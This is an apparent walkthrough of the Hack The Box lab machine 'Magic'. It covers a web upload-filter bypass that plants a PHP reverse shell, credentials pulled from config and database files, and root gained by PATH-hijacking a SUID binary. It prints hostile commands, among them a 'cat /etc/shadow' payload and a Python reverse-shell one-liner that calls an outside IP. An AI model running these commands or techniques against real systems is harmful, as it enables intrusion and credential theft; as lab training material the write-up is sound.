HTB - Magic
Foreword
I actually should start doing machines again as there are no reversing challenges and this uhh… is my job or something like that.
Starting out
Let’s start by doing a nmap scan
nmap -p- magic.htb
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
Okay only ssh and a http server. Let’s browse to that:
There is a login link which leads to login.php…
Tried some simple sqli but didn’t work. Let’s whip out sqlmap.
sqlmap -u magic.htb/login.php --forms
Doesn’t work either… Send Dirb!
---- Scanning URL: http://magic.htb/ ----
==> DIRECTORY: http://magic.htb/assets/
==> DIRECTORY: http://magic.htb/assets/images/
+ http://magic.htb/index.php (CODE:200|SIZE:4514)
+ http://magic.htb/server-status (CODE:403|SIZE:274)
==> DIRECTORY: http://magic.htb/temp/
==> DIRECTORY: http://magic.htb/www/
---- Entering directory: http://magic.htb/assets/ ----
+ Going to next directory.
---- Entering directory: http://magic.htb/assets/images/ ----
+ Going to next directory.
---- Entering directory: http://magic.htb/temp/ ----
+ http://magic.htb/temp/id_rsa.pub (CODE:200|SIZE:563)
---- Entering directory: http://magic.htb/www/ ----
A public key? When using ssh-keygen -lf id_rsa.pub
it shows a 3072 bit key. Too high too crack.
And now look for php files:
dirb http://magic.htb/ -X .php
---- Scanning URL: http://magic.htb/ ----
+ http://magic.htb/index.php (CODE:200|SIZE:4517)
+ http://magic.htb/login.php (CODE:200|SIZE:4221)
+ http://magic.htb/logout.php (CODE:302|SIZE:0)
+ http://magic.htb/upload.php (CODE:302|SIZE:2957)
That seems more interesting…
When browsing to it, it just opens login.php though. So no luck here.
Curl’ing it shows that it’s 302 and just wants you to redirect, but still sends the page…
curl magic.htb/upload.php
Well how about no?
I just copied the response html to a local file and changed the links as I found no way to disable the redirect in firefox. You could possibly change the response with burp or do something else.
Let’s try uploading a image and catching the request with burp. If we upload a image it returns
The file image.jpg has been uploaded.
We then can find our image on the main page. It’s saved under /assets/images/uploads/image.jpg
.
If we send any other file, it alerts with
Sorry, only JPG, JPEG & PNG files are allowed.
Okay maybe we can bypass this. First let’s just change the filename to image.jpg.
What are you trying to do there?
So does it check the content too? Or maybe just the content type.
Let’s change that to image/jpeg
, but still no success.
Maybe try appending php code at the end of the image and maybe it get’s interpreted as php code?
...JFIF...
...
<?php
echo "hello"
?>
It still get’s served as an image.
Maybe change the name to .php.jpg?
Well hello there. I already removed the most of the jpg bytes, till we’re only left with the jpg magic bytes.
FF D8 FF E0 00 10 4A 46 49 46 00 01 ÿØÿà..JFIF..
Let’s get our Reverse Shell (/usr/share/webshells/php/php-reverse-shell.php)
nc -lvp 443
And after browsing to our “image”, we’re greeted in our shell with:
www-data
Linux ubuntu 5.3.0-42-generic #34~18.04.1-Ubuntu SMP Fri Feb 28 13:42:26 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
The user.txt is located in /home/theseus
.
First transfer a enum script:
python3 -m http.server
wget http://x.x.x.x:8000/linenum.sh
Not much interesting stuff here, except:
Netstat says there are two internal ports: 631 (CUPS) and 3306 (mysql)
netstat -tupln
Okay a database? Let’s look the in the login.php, as it should probably access the database.
The login.php has no login data, but includes db.php5
.
In there we find:
private static $dbName = 'Magic' ;
private static $dbHost = 'localhost' ;
private static $dbUsername = 'theseus';
private static $dbUserPassword = 'iamkingtheseus';
Let’s dump the Magic database with mysqldump
.
mysqldump Magic -u theseus -p
-- MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)
--
-- Host: localhost Database: Magic
-- ------------------------------------------------------
-- Server version 5.7.29-0ubuntu0.18.04.1
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
--
-- Table structure for table `login`
--
DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
--
-- Dumping data for table `login`
--
LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
-- Dump completed on 2020-06-03 0:46:53
The important info is:
admin:Th3s3usW4sK1ng
Let’s try logging into theseus with that
su theseus
It works and we can now access the user.txt:
cat user.txt
**********be46e59ef6bef4ef9bc381
Privilege Escalation
That shell is fucky. Let’s upgrade to something better.
python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
stty raw -echo
fg
reset
If we run the PrivEsc Script now we can see a bit more. Not much more, but we see a suid binary called /bin/sysinfo.
If we run that we get information about the system, like memory status, drives, etc. - basically what you would expect from a sysinfo binary.
Let’s look at what this programm does with pspy32. Open another shell and run /bin/sysinfo. We can see that uid 0 runs lhsw and fdisk -l.
You could probably just run strings on it to find that out too
Can we somehow hijack this?
First let’s change our Path:
PATH=/tmp:$PATH
Add a fdisk binary inside /tmp:
cd /tmp
echo "cat /etc/shadow" > fdisk
chmod +x fdisk
If we now run sysinfo, we see Permission denied
between the other hardware stuff.
Oh probably should specify the whole path.
Now we can see the shadow content… But I don’t wanna crack the pw, let’s send a shell to us back.
vi fdisk
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
chmod +x fdisk
Now listen on port 443 and run our sysinfo (this time the full path)
nc -lvp 443
/bin/sysinfo
And we’re root!
cat root.txt
**********eab9fbe4773b2b5722934a